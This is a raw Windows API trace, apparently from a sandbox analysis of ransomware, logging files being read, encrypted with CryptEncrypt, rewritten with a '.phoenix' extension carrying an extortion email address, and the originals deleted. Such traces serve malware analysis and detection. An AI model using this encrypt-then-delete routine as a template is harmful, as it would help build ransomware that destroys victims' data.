	[0248.272] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1f8, lpOverlapped=0x0) returned 1
	[0248.273] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x200, dwBufLen=0x200 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x200) returned 1
	[0248.273] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x200, lpOverlapped=0x0) returned 1
	[0248.275] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0248.275] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.275] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0, dwBufLen=0xe0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0) returned 1
	[0248.275] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.275] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x192, lpOverlapped=0x0) returned 1
	[0248.275] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.275] CloseHandle (hObject=0x2e8) returned 1
	[0248.275] CloseHandle (hObject=0x2b4) returned 1
	[0248.275] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.276] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.276] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.277] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=738) returned 1
	[0248.277] CloseHandle (hObject=0x2b4) returned 1
	[0248.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.277] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.277] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.277] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.277] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.277] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0248.277] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.277] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e2, lpOverlapped=0x0) returned 1
	[0248.280] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0248.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0248.282] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0248.282] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.282] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0248.282] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0248.282] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0248.282] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.282] CloseHandle (hObject=0x2b4) returned 1
	[0248.282] CloseHandle (hObject=0x2e8) returned 1
	[0248.282] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.283] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.284] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=732) returned 1
	[0248.284] CloseHandle (hObject=0x2e8) returned 1
	[0248.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.284] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.284] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.284] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.284] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.285] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0248.285] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.285] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2dc, lpOverlapped=0x0) returned 1
	[0248.287] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0248.287] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0248.288] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0248.288] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.288] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.288] CryptDestroyKey (hKey=0x151140) returned 1
	[0248.288] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.288] CryptDestroyKey (hKey=0x151080) returned 1
	[0248.288] CloseHandle (hObject=0x2e8) returned 1
	[0248.288] CloseHandle (hObject=0x2b4) returned 1
	[0248.288] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.289] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.290] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=654) returned 1
	[0248.290] CloseHandle (hObject=0x2b4) returned 1
	[0248.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.290] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.290] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0248.291] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.291] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28e, lpOverlapped=0x0) returned 1
	[0248.297] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0248.297] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0248.298] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0248.298] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.298] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.298] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.298] CryptDestroyKey (hKey=0x151100) returned 1
	[0248.298] CloseHandle (hObject=0x2b4) returned 1
	[0248.298] CloseHandle (hObject=0x2e8) returned 1
	[0248.298] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.299] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.300] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=789) returned 1
	[0248.300] CloseHandle (hObject=0x2e8) returned 1
	[0248.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.300] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.300] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.300] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.300] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.301] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0248.301] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.301] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x315, lpOverlapped=0x0) returned 1
	[0248.309] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320, dwBufLen=0x320 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320) returned 1
	[0248.309] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x320, lpOverlapped=0x0) returned 1
	[0248.309] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0248.309] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.310] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.310] CryptDestroyKey (hKey=0x151680) returned 1
	[0248.310] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.310] CryptDestroyKey (hKey=0x151740) returned 1
	[0248.310] CloseHandle (hObject=0x2e8) returned 1
	[0248.310] CloseHandle (hObject=0x2b4) returned 1
